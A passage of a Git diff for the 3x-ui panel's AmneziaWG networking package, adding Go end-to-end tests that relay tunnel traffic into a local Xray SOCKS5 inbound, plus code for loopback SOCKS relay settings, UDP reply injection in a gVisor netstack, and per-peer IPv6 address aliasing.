+ _ = uconn.SetWriteDeadline(time.Now().Add(300 * time.Millisecond))
+ if _, err := uconn.Write([]byte(udpMsg)); err != nil {
+ continue
+ }
+ _ = uconn.SetReadDeadline(time.Now().Add(300 * time.Millisecond))
+ n, err := uconn.Read(udpBuf[:])
+ if err == nil {
+ gotUDP = string(udpBuf[:n])
+ break
+ }
+ }
+ if gotUDP != udpMsg {
+ t.Fatalf("UDP echo = %q, want %q (xray log follows)\n%s", gotUDP, udpMsg, xrayLog.String())
+ }
+
+ // Real per-peer stats attribution: stop xray so its log is complete, then
+ // look for both directions' counters keyed by the peer's real email --
+ // the exact proof Finding 3 established manually in Phase 0.
+ _ = cmd.Process.Kill()
+ _, _ = cmd.Process.Wait()
+ log := xrayLog.String()
+ wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
+ wantDown := fmt.Sprintf("user>>>%s>>>traffic>>>downlink", wantEmail)
+ if !strings.Contains(log, wantUp) {
+ t.Errorf("xray log missing uplink stats counter %q\nfull log:\n%s", wantUp, log)
+ }
+ if !strings.Contains(log, wantDown) {
+ t.Errorf("xray log missing downlink stats counter %q\nfull log:\n%s", wantDown, log)
+ }
+}
+
+// TestManagerEnsureAutomaticallyWiresRelay is Phase 3's own real proof: unlike
+// TestSocksRelayAgainstRealXray above (which builds a Device and attaches
+// RelayTCP/UDPRelay by hand), this drives everything through the public
+// Manager.Ensure entry point the real app actually calls -- confirming
+// ensureLocked's own forwarder/UDP-handler attachment (added this phase)
+// really does relay a fresh Device's traffic into Xray with zero manual
+// wiring from the caller. Uses the exact port/password
+// (SOCKSPortForInbound/SocksPassword) the Manager computes internally, so
+// this only passes if that internal derivation and the externally-visible
+// contract genuinely agree.
+func TestManagerEnsureAutomaticallyWiresRelay(t *testing.T) {
+ bin := os.Getenv("XRAY_E2E_BINARY")
+ if bin == "" {
+ t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
+ }
+ localIP, ok := firstNonLoopbackIPv4()
+ if !ok {
+ t.Skip("no non-loopback IPv4 address available on this host")
+ }
+
+ const wantEmail = "manager-e2e-peer@example.com"
+ const listenPort = 58716
+ const inboundID = 5
+
+ tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
+ defer tcpEcho.Close()
+
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+
+ inst := amneziawg.Instance{
+ Id: inboundID,
+ InterfaceName: "awgtest5",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.205.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{{
+ Email: wantEmail,
+ PublicKey: clientPub,
+ AllowedIPs: []string{"10.205.0.2/32"},
+ }},
+ }
+
+ // A real xray-core process with a SOCKS5 inbound at exactly the port and
+ // password ensureLocked will derive on its own for this instance --
+ // SocksPassword() is cached (sync.Once), so calling it here first and
+ // again inside Manager.Ensure below returns the identical value.
+ socksPort := SOCKSPortForInbound(inboundID)
+ password := SocksPassword()
+ settingsJSON, err := SocksInboundSettings([]string{wantEmail}, password)
+ if err != nil {
+ t.Fatalf("SocksInboundSettings: %v", err)
+ }
+ var rawSettings any
+ if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
+ t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
+ }
+ xrayCfg := map[string]any{
+ "log": map[string]any{"loglevel": "debug"},
+ "inbounds": []any{
+ map[string]any{
+ "listen": "127.0.0.1",
+ "port": socksPort,
+ "protocol": "socks",
+ "settings": rawSettings,
+ "tag": "awg-e2e-manager",
+ },
+ },
+ "outbounds": []any{
+ map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
+ },
+ "policy": map[string]any{
+ "levels": map[string]any{
+ "0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
+ },
+ },
+ "stats": map[string]any{},
+ }
+ cfgBytes, err := json.MarshalIndent(xrayCfg, "", " ")
+ if err != nil {
+ t.Fatalf("marshal xray config: %v", err)
+ }
+ cfgPath := filepath.Join(t.TempDir(), "config.json")
+ if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
+ t.Fatalf("write xray config: %v", err)
+ }
+
+ var xrayLog syncBuffer
+ cmd := exec.Command(bin, "-c", cfgPath)
+ cmd.Stdout = &xrayLog
+ cmd.Stderr = &xrayLog
+ if err := cmd.Start(); err != nil {
+ t.Fatalf("start xray: %v", err)
+ }
+ defer func() {
+ _ = cmd.Process.Kill()
+ _, _ = cmd.Process.Wait()
+ }()
+ waitForPort(t, socksPort)
+
+ // A throwaway Manager, not the process-wide singleton, so this test
+ // doesn't interact with any other test's state.
+ m := &Manager{ifaces: map[int]*managed{}}
+ defer m.StopAll()
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Manager.Ensure: %v", err)
+ }
+ dev, _, ok := m.Lookup(inboundID)
+ if !ok {
+ t.Fatal("Lookup after Ensure: not found")
+ }
+ defer dev.Close() // StopAll would also do this; explicit for clarity
+
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.205.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ const tcpMsg = "hello via Manager.Ensure's automatic relay wiring"
+ dialDeadline := time.Now().Add(10 * time.Second)
+ var conn net.Conn
+ for {
+ c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
+ if dialErr == nil {
+ conn = c
+ break
+ }
+ if time.Now().After(dialDeadline) {
+ t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
+ }
+ time.Sleep(150 * time.Millisecond)
+ }
+ defer conn.Close()
+ if _, err := conn.Write([]byte(tcpMsg)); err != nil {
+ t.Fatalf("client TCP write: %v", err)
+ }
+ buf := make([]byte, len(tcpMsg))
+ if _, err := readFull(conn, buf, 10*time.Second); err != nil {
+ t.Fatalf("client TCP read: %v", err)
+ }
+ if string(buf) != tcpMsg {
+ t.Errorf("TCP echo = %q, want %q", buf, tcpMsg)
+ }
+
+ _ = cmd.Process.Kill()
+ _, _ = cmd.Process.Wait()
+ log := xrayLog.String()
+ wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
+ if !strings.Contains(log, wantUp) {
+ t.Errorf("xray log missing uplink stats counter %q (Manager.Ensure's automatic relay wiring may not be attributing traffic correctly)\nfull log:\n%s", wantUp, log)
+ }
+}
+
+// firstNonLoopbackIPv4 finds a real, locally-bound IPv4 address suitable as
+// a relay-reachable test destination.
+func firstNonLoopbackIPv4() (netip.Addr, bool) {
+ addrs, err := net.InterfaceAddrs()
+ if err != nil {
+ return netip.Addr{}, false
+ }
+ for _, a := range addrs {
+ ipNet, ok := a.(*net.IPNet)
+ if !ok || ipNet.IP.IsLoopback() {
+ continue
+ }
+ if v4 := ipNet.IP.To4(); v4 != nil {
+ addr, ok := netip.AddrFromSlice(v4)
+ if ok {
+ return addr, true
+ }
+ }
+ }
+ return netip.Addr{}, false
+}
+
+func startTCPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
+ t.Helper()
+ ln, err := net.Listen("tcp", net.JoinHostPort(addr.String(), "0"))
+ if err != nil {
+ t.Fatalf("start TCP echo listener: %v", err)
+ }
+ go func() {
+ for {
+ c, err := ln.Accept()
+ if err != nil {
+ return
+ }
+ go func() {
+ defer c.Close()
+ buf := make([]byte, 4096)
+ for {
+ n, err := c.Read(buf)
+ if n > 0 {
+ if _, werr := c.Write(buf[:n]); werr != nil {
+ return
+ }
+ }
+ if err != nil {
+ return
+ }
+ }
+ }()
+ }
+ }()
+ port := ln.Addr().(*net.TCPAddr).Port
+ return ln, netip.AddrPortFrom(addr, uint16(port))
+}
+
+func startUDPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
+ t.Helper()
+ pc, err := net.ListenPacket("udp", net.JoinHostPort(addr.String(), "0"))
+ if err != nil {
+ t.Fatalf("start UDP echo listener: %v", err)
+ }
+ go func() {
+ buf := make([]byte, 4096)
+ for {
+ n, raddr, err := pc.ReadFrom(buf)
+ if err != nil {
+ return
+ }
+ if _, err := pc.WriteTo(buf[:n], raddr); err != nil {
+ return
+ }
+ }
+ }()
+ port := pc.LocalAddr().(*net.UDPAddr).Port
+ return pc, netip.AddrPortFrom(addr, uint16(port))
+}
+
+// readFull reads exactly len(buf) bytes or fails after timeout, since
+// gonet.TCPConn (and net.Conn generally) may return short reads.
+func readFull(r interface{ Read([]byte) (int, error) }, buf []byte, timeout time.Duration) (int, error) {
+ deadline := time.Now().Add(timeout)
+ total := 0
+ for total < len(buf) {
+ if time.Now().After(deadline) {
+ return total, fmt.Errorf("timed out after reading %d/%d bytes", total, len(buf))
+ }
+ n, err := r.Read(buf[total:])
+ total += n
+ if err != nil {
+ return total, err
+ }
+ }
+ return total, nil
+}
+
+// syncBuffer is a concurrency-safe bytes buffer for capturing a subprocess's
+// combined stdout/stderr while the test may read it from another goroutine.
+type syncBuffer struct {
+ mu sync.Mutex
+ buf strings.Builder
+}
+
+func (s *syncBuffer) Write(p []byte) (int, error) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ return s.buf.Write(p)
+}
+
+func (s *syncBuffer) String() string {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ return s.buf.String()
+}
+
+func freePort(t *testing.T) int {
+ t.Helper()
+ l, err := net.Listen("tcp", "127.0.0.1:0")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer l.Close()
+ return l.Addr().(*net.TCPAddr).Port
+}
+
+func waitForPort(t *testing.T, port int) {
+ t.Helper()
+ deadline := time.Now().Add(15 * time.Second)
+ addr := fmt.Sprintf("127.0.0.1:%d", port)
+ for time.Now().Before(deadline) {
+ conn, err := net.DialTimeout("tcp", addr, time.Second)
+ if err == nil {
+ conn.Close()
+ return
+ }
+ time.Sleep(200 * time.Millisecond)
+ }
+ t.Fatalf("xray port %d did not open in time", port)
+}
diff --git a/internal/amneziawgnet/socks_config.go b/internal/amneziawgnet/socks_config.go
new file mode 100644
index 000000000..a5ba41c99
--- /dev/null
+++ b/internal/amneziawgnet/socks_config.go
@@ -0,0 +1,49 @@
+package amneziawgnet
+
+import (
+ "crypto/rand"
+ "encoding/base64"
+ "fmt"
+ "sync"
+)
+
+// SOCKSBasePort is the first loopback port used for an AmneziaWG inbound's
+// own Xray SOCKS5 relay inbound (see relay.go/SocksInboundSettings).
+const SOCKSBasePort = 65100
+
+// SOCKSPortForInbound derives one inbound's loopback SOCKS5 relay port from
+// its id, so config generation and the dialing relay never need to negotiate.
+func SOCKSPortForInbound(inboundID int) int {
+ return SOCKSBasePort + inboundID
+}
+
+var (
+ socksPasswordOnce sync.Once
+ socksPassword string
+)
+
+// SocksPassword returns the process-wide password used to authenticate into
+// every AmneziaWG SOCKS5 relay inbound, generating and caching it once
+// (lazily, on first use) rather than persisting it anywhere: this traffic
+// never leaves loopback, both the config generator (SocksInboundSettings'
+// caller) and the relay dialer (SocksRelay/UDPRelay) live in this same
+// process, and Xray's own generated config is already rebuilt from scratch
+// on every reconcile -- there is nothing for a stored value to survive
+// across that a fresh one wouldn't equally satisfy. Not a real secret (see
+// SocksRelay's own doc comment); this only needs to be unpredictable enough
+// that nothing outside this process could plausibly guess it and dial in
+// over loopback.
+func SocksPassword() string {
+ socksPasswordOnce.Do(func() {
+ var b [24]byte
+ if _, err := rand.Read(b[:]); err != nil {
+ // crypto/rand failing is effectively unrecoverable for a
+ // process that generates real WireGuard keys elsewhere too;
+ // a fixed fallback keeps this from panicking outright.
+ socksPassword = fmt.Sprintf("amneziawgnet-fallback-%x", b)
+ return
+ }
+ socksPassword = base64.RawURLEncoding.EncodeToString(b[:])
+ })
+ return socksPassword
+}
diff --git a/internal/amneziawgnet/udp.go b/internal/amneziawgnet/udp.go
new file mode 100644
index 000000000..52814de4e
--- /dev/null
+++ b/internal/amneziawgnet/udp.go
@@ -0,0 +1,100 @@
+package amneziawgnet
+
+import (
+ "fmt"
+ "net/netip"
+
+ "gvisor.dev/gvisor/pkg/buffer"
+ "gvisor.dev/gvisor/pkg/tcpip"
+ "gvisor.dev/gvisor/pkg/tcpip/checksum"
+ "gvisor.dev/gvisor/pkg/tcpip/header"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+ "gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+)
+
+// UDPHandler is called for every UDP packet a tunnel client sends, with its
+// source (the peer's tunnel-internal address) and its real,
+// dynamically-arbitrary destination -- recovered the same way the TCP
+// forwarder recovers its destination, from the packet's own transport
+// endpoint ID, never from a preconfigured table. The handler owns all flow
+// tracking and reply delivery (via WriteUDPReply): gVisor has no
+// udp.NewForwarder the way it does for TCP, so unlike AttachTCPForwarder
+// this can't just hand back a ready net.Conn.
+type UDPHandler func(src, dst netip.AddrPort, payload []byte)
+
+// AttachUDPHandler attaches a raw UDP handler to gstack, independently
+// enabling the same promiscuous+spoofing mode AttachTCPForwarder needs --
+// safe and idempotent to call regardless of whether AttachTCPForwarder was
+// attached to the same stack first, or at all. Adapted from xtls/xray-core's
+// proxy/wireguard/tun.go UDP path (MIT), which hand-tracks flows for the
+// identical reason: gVisor doesn't provide a UDP forwarder.
+func AttachUDPHandler(gstack *stack.Stack, handler UDPHandler) {
+ enablePromiscuousRouting(gstack)
+
+ gstack.SetTransportProtocolHandler(udp.ProtocolNumber, func(id stack.TransportEndpointID, pkt *stack.PacketBuffer) bool {
+ data := pkt.Clone().Data().AsRange().ToSlice()
+ src := netip.AddrPortFrom(addrFromTcpip(id.RemoteAddress), id.RemotePort)
+ dst := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
+ handler(src, dst, data)
+ return true
+ })
+}
+
+// WriteUDPReply injects a UDP packet into gstack as if it arrived from
+// `from` addressed to `to` -- i.e. a reply travelling back into the tunnel
+// toward the client -- constructed by hand since gVisor exposes no
+// connected-socket-style Write for an address the stack doesn't itself own.
+func WriteUDPReply(gstack *stack.Stack, from, to netip.AddrPort, payload []byte) error {
+ udpLen := header.UDPMinimumSize + len(payload)
+ srcIP := tcpip.AddrFromSlice(from.Addr().AsSlice())
+ dstIP := tcpip.AddrFromSlice(to.Addr().AsSlice())
+
+ isIPv4 := from.Addr().Is4()
+ ipHdrSize := header.IPv6MinimumSize
+ ipProtocol := header.IPv6ProtocolNumber
+ if isIPv4 {
+ ipHdrSize = header.IPv4MinimumSize
+ ipProtocol = header.IPv4ProtocolNumber
+ }
+
+ pkt := stack.NewPacketBuffer(stack.PacketBufferOptions{
+ ReserveHeaderBytes: ipHdrSize + header.UDPMinimumSize,
+ Payload: buffer.MakeWithData(payload),
+ })
+ defer pkt.DecRef()
+
+ udpHdr := header.UDP(pkt.TransportHeader().Push(header.UDPMinimumSize))
+ udpHdr.Encode(&header.UDPFields{
+ SrcPort: from.Port(),
+ DstPort: to.Port(),
+ Length: uint16(udpLen),
+ })
+ xsum := header.PseudoHeaderChecksum(header.UDPProtocolNumber, srcIP, dstIP, uint16(udpLen))
+ udpHdr.SetChecksum(^udpHdr.CalculateChecksum(checksum.Checksum(payload, xsum)))
+
+ if isIPv4 {
+ ipHdr := header.IPv4(pkt.NetworkHeader().Push(header.IPv4MinimumSize))
+ ipHdr.Encode(&header.IPv4Fields{
+ TotalLength: uint16(header.IPv4MinimumSize + udpLen),
+ TTL: 64,
+ Protocol: uint8(header.UDPProtocolNumber),
+ SrcAddr: srcIP,
+ DstAddr: dstIP,
+ })
+ ipHdr.SetChecksum(^ipHdr.CalculateChecksum())
+ } else {
+ ipHdr := header.IPv6(pkt.NetworkHeader().Push(header.IPv6MinimumSize))
+ ipHdr.Encode(&header.IPv6Fields{
+ PayloadLength: uint16(udpLen),
+ TransportProtocol: header.UDPProtocolNumber,
+ HopLimit: 64,
+ SrcAddr: srcIP,
+ DstAddr: dstIP,
+ })
+ }
+
+ if tcpipErr := gstack.WriteRawPacket(1, ipProtocol, buffer.MakeWithView(pkt.ToView())); tcpipErr != nil {
+ return fmt.Errorf("amneziawgnet: WriteRawPacket: %s", tcpipErr)
+ }
+ return nil
+}
diff --git a/internal/amneziawgnet/udp_test.go b/internal/amneziawgnet/udp_test.go
new file mode 100644
index 000000000..4649b70d6
--- /dev/null
+++ b/internal/amneziawgnet/udp_test.go
@@ -0,0 +1,156 @@
+package amneziawgnet
+
+import (
+ "fmt"
+ "net/netip"
+ "testing"
+ "time"
+
+ awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestNewDeviceUDPHandlerAndReply is the UDP counterpart of
+// TestNewDeviceHandshakeForwarderAndIdentity: this package's own udp.go was
+// refactored from the Phase 0 spike's bake-the-dial-in version to a generic
+// handler-plus-reply-injection design (see AttachUDPHandler/WriteUDPReply's
+// doc comments), a real behavior change worth its own verification rather
+// than assuming the port preserved correctness -- UDP was flagged as "the
+// harder half" in the migration plan's own risk list, precisely because
+// gVisor has no udp.NewForwarder and the reply path has to be constructed
+// by hand.
+func TestNewDeviceUDPHandlerAndReply(t *testing.T) {
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+
+ const listenPort = 58713 // distinct from the TCP test's port
+ const wantEmail = "udp-test-peer@example.com"
+ const echoPayload = "hello-from-client"
+
+ inst := amneziawg.Instance{
+ Id: 2,
+ InterfaceName: "awgtest2",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.202.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{{
+ Email: wantEmail,
+ PublicKey: clientPub,
+ AllowedIPs: []string{"10.202.0.2/32"},
+ }},
+ }
+
+ dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("newUnconfiguredDevice: %v", err)
+ }
+ defer dev.Close()
+
+ idx := NewPeerIndex(inst.Peers)
+ // Never configured anywhere server-side, same idea as the TCP test.
+ wantDest := netip.MustParseAddrPort("10.202.9.9:5353")
+
+ identityErrCh := make(chan error, 8)
+ AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+ if peer, ok := idx.Lookup(src.Addr()); !ok || peer.Email != wantEmail {
+ identityErrCh <- fmt.Errorf("peer identity lookup for src %v: ok=%v email=%q, want %q", src, ok, peer.Email, wantEmail)
+ return
+ }
+ if dst != wantDest {
+ identityErrCh <- fmt.Errorf("recovered dest = %v, want %v", dst, wantDest)
+ return
+ }
+ // Echo the payload back, posing as a reply from the destination the
+ // client dialed -- exactly what a real relay's downstream reply
+ // would look like from the tunnel's point of view.
+ if err := WriteUDPReply(dev.Stack, dst, src, payload); err != nil {
+ identityErrCh <- fmt.Errorf("WriteUDPReply: %w", err)
+ }
+ })
+
+ // Configure (IpcSet) must come after AttachUDPHandler -- see
+ // newUnconfiguredDevice's doc comment.
+ if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+ t.Fatalf("Configure: %v", err)
+ }
+
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.202.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ conn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, wantDest)
+ if err != nil {
+ t.Fatalf("client DialUDPAddrPort: %v", err)
+ }
+ defer conn.Close()
+
+ deadline := time.Now().Add(5 * time.Second)
+ var buf [256]byte
+ for {
+ select {
+ case err := <-identityErrCh:
+ t.Fatal(err)
+ default:
+ }
+
+ _ = conn.SetWriteDeadline(time.Now().Add(200 * time.Millisecond))
+ if _, err := conn.Write([]byte(echoPayload)); err != nil {
+ if time.Now().After(deadline) {
+ t.Fatalf("client write never succeeded: %v", err)
+ }
+ continue
+ }
+
+ _ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+ n, err := conn.Read(buf[:])
+ if err != nil {
+ if time.Now().After(deadline) {
+ t.Fatalf("client never received a reply: %v", err)
+ }
+ continue
+ }
+ if got := string(buf[:n]); got != echoPayload {
+ t.Fatalf("echoed payload = %q, want %q", got, echoPayload)
+ }
+ return
+ }
+}
diff --git a/internal/amneziawgnet/v6alias.go b/internal/amneziawgnet/v6alias.go
new file mode 100644
index 000000000..b48f89d20
--- /dev/null
+++ b/internal/amneziawgnet/v6alias.go
@@ -0,0 +1,165 @@
+// Phase 3.5: restoring each opted-in peer's distinct public IPv6 source
+// identity for peer-initiated outbound connections. The retired
+// kernel-module architecture used NDP-proxying (ip -6 neigh add proxy) to
+// hand inbound traffic off to a real awg kernel interface — this path has
+// no such interface at all (the tunnel lives entirely inside an in-process
+// gVisor netstack), so there is nothing for NDP-proxying to forward into.
+// Scoped to what this path actually needs — a peer's own outbound
+// connections carrying a distinct source address, not unsolicited inbound
+// connections toward the peer (that's the separate, not-yet-built Phase
+// 3.6 port-forwarding) — a host-owned address alias is sufficient and
+// simpler: once the kernel genuinely owns the address, Xray's freedom
+// outbound can bind an egress socket to it, and return traffic lands on a
+// normal, locally-owned address with no forwarding or NDP-proxy involved.
+package amneziawgnet
+
+import (
+ "bytes"
+ "context"
+ "os/exec"
+ "strings"
+ "time"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// v6Alias is one host-owned IPv6 address alias this package manages, always
+// applied as a /128 regardless of whatever prefix width the peer's own
+// AllowedIPs entry happens to use.
+type v6Alias struct {
+ Addr string
+ Iface string
+}
+
+// effectiveIPv6ExternalInterface returns IPv6ExternalInterface if the admin
+// set one, falling back to ExternalInterface — matches the frontend's own
+// ipv6ExternalInterfaceHint copy ("Leave empty to reuse External
+// Interface") and the retired kernel-module PostUp's identical fallback.
+func effectiveIPv6ExternalInterface(inst amneziawg.Instance) string {
+ if inst.IPv6ExternalInterface != "" {
+ return inst.IPv6ExternalInterface
+ }
+ return inst.ExternalInterface
+}
+
+// V6AliasesActive reports whether inst is fully configured for per-peer IPv6
+// identity. The Xray-side v6 egress injector must use this exact gate too —
+// see xray.go's injectAmneziawgV6Egress — so the two halves can't diverge.
+func V6AliasesActive(inst amneziawg.Instance) bool {
+ return inst.IPv6Enabled && effectiveIPv6ExternalInterface(inst) != ""
+}
+
+// desiredV6Aliases returns the aliases inst wants right now, keyed by peer
+// email. Empty whenever inst isn't fully configured for this feature
+// (IPv6Enabled false, or no usable interface either way) — deliberately
+// what makes "IPv6 toggled off" fall out of diffV6Aliases for free, rather
+// than a separate branch anywhere else.
+func desiredV6Aliases(inst amneziawg.Instance) map[string]v6Alias {
+ out := map[string]v6Alias{}
+ if !V6AliasesActive(inst) {
+ return out
+ }
+ iface := effectiveIPv6ExternalInterface(inst)
+ for _, p := range inst.Peers {
+ if p.Email == "" {
+ continue
+ }
+ if addr := amneziawg.FirstIPv6(p.AllowedIPs); addr != "" {
+ out[p.Email] = v6Alias{Addr: addr, Iface: iface}
+ }
+ }
+ return out
+}
+
+// diffV6Aliases returns the ip -6 addr add/del calls needed to move the
+// host from oldInst's alias set to newInst's. Pass amneziawg.Instance{} as
+// oldInst for "nothing was aliased before" (a brand new instance) and as
+// newInst for "tear down entirely" (Remove/StopAll/Reconcile's stop-loop).
+// A peer whose alias is unchanged appears in neither slice — the common
+// case on every steady-state reconcile tick, so a healthy system issues no
+// exec calls at all most of the time.
+func diffV6Aliases(oldInst, newInst amneziawg.Instance) (add, remove []v6Alias) {
+ oldSet, newSet := desiredV6Aliases(oldInst), desiredV6Aliases(newInst)
+ for email, oldAlias := range oldSet {
+ if newAlias, ok := newSet[email]; ok && newAlias == oldAlias {
+ continue
+ }
+ remove = append(remove, oldAlias)
+ }
+ for email, newAlias := range newSet {
+ if oldAlias, ok := oldSet[email]; ok && oldAlias == newAlias {
+ continue
+ }
+ add = append(add, newAlias)
+ }
+ return add, remove
+}
+
+// runIP is the seam tests swap to assert exact invocations without a real
+// ip binary — this package has no internal/database dependency, so
+// everything except this var's real invocation builds and unit-tests fine
+// even on a non-Linux dev machine; the real command is verified manually
+// against a Linux VPS, matching this project's established verification
+// pattern for other OS-effecting AmneziaWG changes.
+var runIP = func(ctx context.Context, args ...string) (stderr string, err error) {
+ cmd := exec.CommandContext(ctx, "ip", args...)
+ var buf bytes.Buffer
+ cmd.Stderr = &buf
+ err = cmd.Run()
+ return buf.String(), err
+}
+
+const ipCommandTimeout = 3 * time.Second
+
+// applyV6Aliases runs every add before any remove, so a peer whose address
+// changed is never briefly unaliased (briefly having both old and new
+// aliased at once is harmless). Never surfaces an error — an alias failing
+// only narrows that one peer's own outbound-source-identity feature, never
+// a reason to fail the tunnel or its SOCKS5 relay.
+func applyV6Aliases(add, remove []v6Alias) {
+ for _, a := range add {
+ addV6Alias(a)
+ }
+ for _, a := range remove {
+ removeV6Alias(a)
+ }
+}
+
+func addV6Alias(a v6Alias) {
+ ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
+ defer cancel()
+ // nodad: this address is a specific peer's own admin-assigned identity,
+ // nothing else on the link should ever claim it, so the ~1s Duplicate
+ // Address Detection window before the kernel would otherwise mark it
+ // usable is pure latency with no real collision to detect.
+ stderr, err := runIP(ctx, "-6", "addr", "add", a.Addr+"/128", "dev", a.Iface, "nodad")
+ if err == nil {
+ logger.Infof("amneziawgnet: aliased IPv6 address %s onto %s", a.Addr, a.Iface)
+ return
+ }
+ if strings.Contains(stderr, "File exists") {
+ // Already the desired end state -- most commonly hit once, harmlessly,
+ // right after an ungraceful panel restart (the OS-level alias from
+ // before the crash outlives the process; the in-memory managed map
+ // doesn't).
+ return
+ }
+ logger.Warningf("amneziawgnet: alias IPv6 address %s onto %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
+}
+
+func removeV6Alias(a v6Alias) {
+ ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
+ defer cancel()
+ stderr, err := runIP(ctx, "-6", "addr", "del", a.Addr+"/128", "dev", a.Iface)
+ if err == nil {
+ logger.Infof("amneziawgnet: removed IPv6 alias %s from %s", a.Addr, a.Iface)
+ return
+ }
+ if strings.Contains(stderr, "Cannot assign requested address") || strings.Contains(stderr, "Cannot find device") {
+ // Already gone (the address itself, or the whole interface) -- for a
+ // delete, the desired end state ("not aliased here") already holds.
+ return
+ }
+ logger.Warningf("amneziawgnet: remove IPv6 alias %s from %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
+}
diff --git a/internal/amneziawgnet/v6alias_test.go b/internal/amneziawgnet/v6alias_test.go
new file mode 100644
index 000000000..8f6ea17a0
--- /dev/null
+++ b/internal/amneziawgnet/v6alias_test.go
@@ -0,0 +1,277 @@
+package amneziawgnet
+
+import (
+ "context"
+ "errors"
+ "testing"
+
